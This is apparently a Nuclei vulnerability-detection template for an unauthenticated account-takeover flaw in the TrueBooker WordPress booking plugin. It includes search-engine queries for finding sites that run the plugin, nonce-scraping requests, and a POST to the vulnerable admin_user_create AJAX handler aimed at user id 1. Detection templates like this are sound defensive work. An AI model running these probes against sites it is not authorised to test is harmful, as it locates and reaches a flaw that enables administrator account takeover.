TrueBooker <= 1.2.6 - Unauthenticated Authorization Bypass

id: CVE-2026-18315

info:
  name: TrueBooker <= 1.2.6 - Unauthenticated Authorization Bypass
  author: 0x_Akoko
  severity: critical
  description: |
    TrueBooker – Appointment Booking and Scheduler System WordPress plugin <= 1.2.6 contains an authorization bypass through user-controlled key caused by lack of authentication in admin_user_create_cus AJAX handler, letting unauthenticated attackers take over any user account by overwriting email and using lost-password flow, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can take over any user account, including administrators, leading to full account compromise.
  remediation: |
    Update to the latest version of the TrueBooker plugin.
  reference:
    - https://patchstack.com/database/wordpress/plugin/truebooker-appointment-booking/vulnerability/wordpress-truebooker-plugin-1-2-6-unauthenticated-authorization-bypass-through-user-controlled-key-to-account-takeover-to-truebooker-wp-user-id-parameter-vulnerability
    - https://github.com/nastar-id/CVE-2026-18315-PoC
    - https://plugins.svn.wordpress.org/truebooker-appointment-booking/tags/1.2.6/main/function_ajax.php
    - https://nvd.nist.gov/vuln/detail/CVE-2026-18315
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-18315
    cwe-id: CWE-639
  metadata:
    verified: true
    max-request: 6
    vendor: truebooker
    product: truebooker-appointment-booking
    fofa-query: body="truebooker-appointment-booking"
    publicwww-query: "/wp-content/plugins/truebooker-appointment-booking/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,truebooker,auth-bypass,account-takeover,unauth,vkev

flow: |
  if (!http(1)) { stop(); }
  http(2);
  if (!template["nonce"]) { http(3); }
  if (!template["nonce"]) { http(4); }
  if (!template["nonce"]) { http(5); }
  if (!template["nonce"]) { stop(); }
  http(6);

http:
  - raw:
      - |
        GET /wp-content/plugins/truebooker-appointment-booking/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "TrueBooker")'
          - 'compare_versions(plugin_version, "<= 1.2.6")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: plugin_version
        group: 1
        regex:
          - '(?i)Stable tag:\s*([0-9.]+)'
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'ajax_object\s*=\s*\{[^}]*?"nonce"\s*:\s*"([a-zA-Z0-9]+)"'
        internal: true

  - raw:
      - |
        GET /booking/ HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'ajax_object\s*=\s*\{[^}]*?"nonce"\s*:\s*"([a-zA-Z0-9]+)"'
        internal: true

  - raw:
      - |
        GET /appointment/ HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'ajax_object\s*=\s*\{[^}]*?"nonce"\s*:\s*"([a-zA-Z0-9]+)"'
        internal: true

  - raw:
      - |
        GET /schedule/ HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'ajax_object\s*=\s*\{[^}]*?"nonce"\s*:\s*"([a-zA-Z0-9]+)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=admin_user_create&security={{nonce}}&alldata=truebooker_wp_user_id%3D1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "fname-error-front", "tba-popconfirm", "truebooker_error")'
        condition: and
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